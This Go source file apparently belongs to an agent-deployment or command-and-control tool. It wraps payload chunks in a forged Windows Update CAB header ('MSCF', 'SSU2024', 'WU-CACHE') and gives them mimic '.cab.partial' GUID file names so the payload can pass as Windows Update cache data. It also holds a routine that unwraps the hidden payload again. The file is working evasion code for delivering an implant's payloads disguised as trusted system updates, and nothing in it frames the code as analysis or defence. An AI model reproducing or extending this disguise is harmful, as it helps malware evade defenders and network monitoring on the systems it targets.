package api

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"strings"
)

const (
	wsusSSUEnvelopeTag  = "AFWSU1\x00"
	wsusSSUMetadataSize = 96
)

// wrapWSUSChunkPayload mirrors agent/deploy.WrapSSUHeader for /get?wsus_wrap=1 responses.
func wrapWSUSChunkPayload(payload []byte) []byte {
	meta := make([]byte, wsusSSUMetadataSize)
	copy(meta[0:4], "MSCF")
	total := uint32(wsusSSUMetadataSize + 4 + len(payload))
	binary.LittleEndian.PutUint32(meta[8:12], total)
	binary.LittleEndian.PutUint16(meta[16:18], 1)
	binary.LittleEndian.PutUint16(meta[18:20], 0x0103)
	copy(meta[36:44], "SSU2024\x00")
	copy(meta[44:52], "WU-CACHE")
	copy(meta[80:88], ".partial")
	tagOff := wsusSSUMetadataSize - len(wsusSSUEnvelopeTag) - 4
	copy(meta[tagOff:tagOff+len(wsusSSUEnvelopeTag)], wsusSSUEnvelopeTag)
	binary.LittleEndian.PutUint32(meta[tagOff+len(wsusSSUEnvelopeTag):wsusSSUMetadataSize], uint32(len(payload)))
	out := make([]byte, 0, len(meta)+len(payload))
	out = append(out, meta...)
	out = append(out, payload...)
	return out
}

func wsusFormatMimicChunkName(contentHash string, index int) string {
	h := strings.ToLower(strings.TrimSpace(contentHash))
	if len(h) < 32 {
		h = strings.Repeat("0", 32-len(h)) + h
	}
	guid := fmt.Sprintf("%s-%s-%s-%s-%s", h[0:8], h[8:12], h[12:16], h[16:20], h[20:32])
	if index > 0 {
		return fmt.Sprintf("%s-%d.cab.partial", guid, index)
	}
	return guid + ".cab.partial"
}

func unwrapWSUSChunkPayload(data []byte) ([]byte, error) {
	if len(data) < wsusSSUMetadataSize+1 {
		return nil, fmt.Errorf("wsus ssu envelope too short")
	}
	if !bytes.HasPrefix(data, []byte("MSCF")) {
		return nil, fmt.Errorf("wsus ssu envelope missing MSCF prefix")
	}
	tag := []byte(wsusSSUEnvelopeTag)
	idx := bytes.Index(data[:wsusSSUMetadataSize], tag)
	if idx < 0 {
		return nil, fmt.Errorf("wsus ssu envelope tag not found")
	}
	off := idx + len(tag)
	if off+4 > wsusSSUMetadataSize {
		return nil, fmt.Errorf("wsus ssu envelope length truncated")
	}
	n := binary.LittleEndian.Uint32(data[off : off+4])
	start := wsusSSUMetadataSize
	if int(n) < 0 || start+int(n) > len(data) {
		return nil, fmt.Errorf("wsus ssu payload length invalid")
	}
	return data[start : start+int(n)], nil
}